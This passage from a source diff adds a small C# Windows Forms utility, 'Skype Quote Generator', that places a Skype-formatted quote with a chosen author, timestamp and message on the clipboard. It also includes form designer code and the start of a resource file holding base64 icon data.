+            this.label1.Text = "Name:";
+            // 
+            // label2
+            // 
+            this.label2.AutoSize = true;
+            this.label2.Location = new System.Drawing.Point(12, 39);
+            this.label2.Name = "label2";
+            this.label2.Size = new System.Drawing.Size(61, 13);
+            this.label2.TabIndex = 2;
+            this.label2.Text = "Timestamp:";
+            // 
+            // TimeBox
+            // 
+            this.TimeBox.Location = new System.Drawing.Point(79, 38);
+            this.TimeBox.Name = "TimeBox";
+            this.TimeBox.Size = new System.Drawing.Size(114, 20);
+            this.TimeBox.TabIndex = 3;
+            // 
+            // MessageBox
+            // 
+            this.MessageBox.Location = new System.Drawing.Point(79, 65);
+            this.MessageBox.Multiline = true;
+            this.MessageBox.Name = "MessageBox";
+            this.MessageBox.Size = new System.Drawing.Size(158, 69);
+            this.MessageBox.TabIndex = 4;
+            // 
+            // label3
+            // 
+            this.label3.AutoSize = true;
+            this.label3.Location = new System.Drawing.Point(12, 68);
+            this.label3.Name = "label3";
+            this.label3.Size = new System.Drawing.Size(53, 13);
+            this.label3.TabIndex = 5;
+            this.label3.Text = "Message:";
+            // 
+            // CopyButton
+            // 
+            this.CopyButton.Location = new System.Drawing.Point(12, 140);
+            this.CopyButton.Name = "CopyButton";
+            this.CopyButton.Size = new System.Drawing.Size(225, 23);
+            this.CopyButton.TabIndex = 6;
+            this.CopyButton.Text = "Copy To Clipboard";
+            this.CopyButton.UseVisualStyleBackColor = true;
+            this.CopyButton.Click += new System.EventHandler(this.CopyButton_Click);
+            // 
+            // NowButton
+            // 
+            this.NowButton.Location = new System.Drawing.Point(199, 36);
+            this.NowButton.Name = "NowButton";
+            this.NowButton.Size = new System.Drawing.Size(38, 23);
+            this.NowButton.TabIndex = 7;
+            this.NowButton.Text = "Now";
+            this.NowButton.UseVisualStyleBackColor = true;
+            this.NowButton.Click += new System.EventHandler(this.NowButton_Click);
+            // 
+            // Main
+            // 
+            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+            this.ClientSize = new System.Drawing.Size(249, 170);
+            this.Controls.Add(this.NowButton);
+            this.Controls.Add(this.CopyButton);
+            this.Controls.Add(this.label3);
+            this.Controls.Add(this.MessageBox);
+            this.Controls.Add(this.TimeBox);
+            this.Controls.Add(this.label2);
+            this.Controls.Add(this.label1);
+            this.Controls.Add(this.NameBox);
+            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+            this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+            this.MaximizeBox = false;
+            this.MaximumSize = new System.Drawing.Size(265, 209);
+            this.MinimizeBox = false;
+            this.MinimumSize = new System.Drawing.Size(265, 209);
+            this.Name = "Main";
+            this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
+            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+            this.Text = "Skype Quote Generator";
+            this.Load += new System.EventHandler(this.Main_Load);
+            this.ResumeLayout(false);
+            this.PerformLayout();
+
+        }
+
+        #endregion
+
+        private System.Windows.Forms.TextBox NameBox;
+        private System.Windows.Forms.Label label1;
+        private System.Windows.Forms.Label label2;
+        private System.Windows.Forms.TextBox TimeBox;
+        private System.Windows.Forms.TextBox MessageBox;
+        private System.Windows.Forms.Label label3;
+        private System.Windows.Forms.Button CopyButton;
+        private System.Windows.Forms.Button NowButton;
+    }
+}
+
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs b/c#/Skype Quote Generator/Source/SkypeQuote/Main.cs
@@ -0,0 +1,44 @@
+using System;
+using System.Globalization;
+using System.IO;
+using System.Text;
+using System.Windows.Forms;
+
+
+namespace SkypeQuote {
+    public partial class Main : Form {
+        private static readonly DateTime LinuxTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+
+        public Main() {
+            InitializeComponent();
+        }
+
+        private void Main_Load(object sender, EventArgs e) {
+            this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
+        }
+
+        private void NowButton_Click(object sender, EventArgs e) {
+            this.TimeBox.Text = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
+        }
+
+        private void CopyButton_Click(object sender, EventArgs e) {
+            Clipboard.SetText(" ");
+            DateTime dateTime;
+            if (!DateTime.TryParse(this.TimeBox.Text, out dateTime)) {
+                System.Windows.Forms.MessageBox.Show("Invalid timestamp format!");
+                return;
+            }
+            string user = this.NameBox.Text;
+            string message = this.MessageBox.Text;
+            string skypeMessageFragment = String.Format("<quote author=\"{0}\" timestamp=\"{1}\">{2}</quote>", user, (dateTime.ToUniversalTime() - LinuxTime).TotalSeconds, message);
+            IDataObject dataObject = new DataObject();
+            dataObject.SetData("System.String", message);
+            dataObject.SetData("Text", message);
+            dataObject.SetData("UnicodeText", message);
+            dataObject.SetData("OEMText", message);
+            dataObject.SetData("SkypeMessageFragment", new MemoryStream(Encoding.UTF8.GetBytes(skypeMessageFragment)));
+            dataObject.SetData("Locale", new MemoryStream(BitConverter.GetBytes(CultureInfo.CurrentCulture.LCID)));
+            Clipboard.SetDataObject(dataObject);
+        }
+    }
+}
diff --git a/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx b/c#/Skype Quote Generator/Source/SkypeQuote/Main.resx
@@ -0,0 +1,1253 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
+  <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+    <value>
+        AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABILAAASCwAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACngyMQwZAMK8KTEUK1ihZQtYoWULSKFlC3jyFIyJQIN7OJ
+        Fx2afzUDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwiSEMwJQgTLuTKYrKlw+91ZwE69yh
+        Av/gpAH/4aQB/+epAP/pqgD/6KoA/+SmAf/hpAH/4KMB/9ieA/nNmAnRxJIOoMeUDWi4jyEiAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALGP
+        NAu8mDReypgTttugBPjlpwH/7KwB//CxBv/wtBD/7rMT/+atFP/jqxT/46sT/+OrE//jqxP/5KsU/+et
+        FP/vtBP/8LIM//CwBP/urQD/56kA/9+jAv/QmgrWxZUSgreUNicAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAACkgSIUuosQJMSRCjDLlgc+zJcGQMyXBkDLlgc+xJEKMLqLECSkgSIUAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAALSPKyHEmimQ2KAG8eaoAv/vsAX/7rIS/+CpFf/dpxT/3aUO/9yi
+        Bf/hpQD/5qgB/+qrAP/wrwD/8K8A//CvAP/pqgH/5acB/+CjAf/dowj/3aYQ/92nFf/jqxT/8LMQ//Cv
+        A//qqwD/4KQD/s2ZDr7FmSRMq6KKAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAr4geFcKSD0bLlgdywpEOnMqXDsDSmwbg2J0C+t2iAf/gpAH/4KMB/+Cj
+        Af/gowH/4KMB/+CjAf/gowH/4KQB/92iAf/YnQL60psG4MqXDcDCkQ6eyJQGcrOIE0y6jxqb3aIE++ys
+        A//ushH/36gV/92lEP/fowL/7KwA//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A/+mqAf/dowX/3KYS/+KrFf/wsgz/7q4B/+WoAv/SnxPOwZ07SwAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALaMHhrDlhlexJQSoM+ZCtvcoQL/46UB/+mq
+        AP/urQD/8K8A//CvA//wsAb/8LIK//GzD//xtBH/8bQS//G1E//xtBL/8bQS//G0EP/wsgz/8LEG//Cw
+        BP/wrwD/8K8A/+6tAP/oqQD/46UA/+usA//rsBP/3KYU/96jBf/trQD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/6aoB/9yjCv/eqBX/77IP/++vAf/jpgP/z58euLyZPCMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtZI3J8GT
+        F3zOmxHM3aID/uepAf/urQD/8K8C//CyCv/vsxP/5KwU/92nFf/fqBX/3KUS/96mD//epQv/26EG/9uh
+        BP/dogL/3aEC/92iAv/coQP/26EG/9yjCf/fpg7/3KUR/9+oFP/cpxX/4qoU/+uxFP/tshT/26YU/+Ck
+        A//wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/+6tAP/dowf/3qgW/++x
+        DP/trQH/3qQH9c2dH2y3rZUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAC4jx8OvZIcas6bEsrgpAP/6qsA//CvAf/wsgv/6rAU/96nFf/dphP/3qQL/9+j
+        Af/oqQH/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/srAD/4qUB/96iAv/vrgD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/srAD/2qMM/+atFf/wrwP/6KoD/9SgE7LEplMRAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+kxwnwZcmltqgBfToqQH/764B//Cy
+        DP/lrBX/3acU/9yjCv/jpQH/764A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/5KcC/9ymFP/vsQr/7K0B/9qjDtnLrFolAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
